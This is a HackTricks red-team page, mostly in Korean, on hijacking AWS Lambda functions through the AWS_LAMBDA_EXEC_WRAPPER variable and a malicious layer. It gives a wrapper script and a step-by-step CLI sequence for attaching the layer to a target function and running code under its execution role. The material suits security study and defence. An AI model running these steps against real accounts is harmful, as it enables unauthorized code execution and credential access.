AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)

Reading time: 4 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

요약

환경 변수 AWS_LAMBDA_EXEC_WRAPPER를 악용하여 runtime/handler가 시작되기 전에 공격자가 제어하는 래퍼 스크립트를 실행합니다. 래퍼를 Lambda Layer의 /opt/bin/htwrap에 배포하고 AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap로 설정한 뒤 함수를 호출하세요. 래퍼는 함수 런타임 프로세스 내에서 실행되며 함수 실행 역할을 상속하고, 마지막에 실제 런타임을 exec하여 원래 핸들러가 정상적으로 실행되도록 합니다.

warning

이 기법은 대상 Lambda의 소스 코드나 역할을 수정하지 않고, iam:PassRole이 없어도 코드 실행을 허용합니다. 함수 구성을 업데이트하고 레이어를 게시/첨부할 수 있는 권한만 있으면 됩니다.

필요한 권한 (공격자)

  • lambda:UpdateFunctionConfiguration
  • lambda:GetFunctionConfiguration
  • lambda:InvokeFunction (or trigger via existing event)
  • lambda:ListFunctions, lambda:ListLayers
  • lambda:PublishLayerVersion (same account) and optionally lambda:AddLayerVersionPermission if using a cross-account/public layer

래퍼 스크립트

레이어의 /opt/bin/htwrap에 래퍼를 배치하세요. 래퍼는 핸들러 실행 전 로직을 수행할 수 있으며 실제 런타임으로 이어지도록 마지막에 exec "$@"로 끝나야 합니다.

bash
#!/bin/bash
set -euo pipefail
# Pre-handler actions (runs in runtime process context)
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json, os
try:
ident = boto3.client('sts').get_caller_identity()
print('[ht] sts identity:', json.dumps(ident))
except Exception as e:
print('[ht] sts error:', e)
PY
# Chain to the real runtime
exec "$@"

공격 단계 (CLI)

레이어 게시, 대상 함수에 첨부, wrapper 설정, 호출
bash
# Vars
REGION=us-east-1
TARGET_FN=<target-lambda-name>

# 1) Package wrapper at /opt/bin/htwrap
mkdir -p layer/bin
cat > layer/bin/htwrap <<'WRAP'
#!/bin/bash
set -euo pipefail
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json
print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity()))
PY
exec "$@"
WRAP
chmod +x layer/bin/htwrap
(zip -qr htwrap-layer.zip layer)

# 2) Publish the layer
LAYER_ARN=$(aws lambda publish-layer-version \
--layer-name ht-exec-wrapper \
--zip-file fileb://htwrap-layer.zip \
--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \
--query LayerVersionArn --output text --region "$REGION")

echo "$LAYER_ARN"

# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
aws lambda update-function-configuration \
--function-name "$TARGET_FN" \
--layers "$LAYER_ARN" \
--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \
--region "$REGION"

# Wait for update to finish
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done

# 4) Invoke and verify via CloudWatch Logs
aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text

영향

  • Lambda runtime 컨텍스트에서 함수의 기존 execution role을 사용하여 pre-handler 코드 실행 가능.
  • 함수 코드나 role을 변경할 필요 없음; Python, Node.js, Java, .NET 등 일반적인 managed runtimes 전반에서 작동.
  • handler가 실행되기 전에 persistence, credential access (예: STS), data exfiltration 및 runtime tampering을 가능하게 함.

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기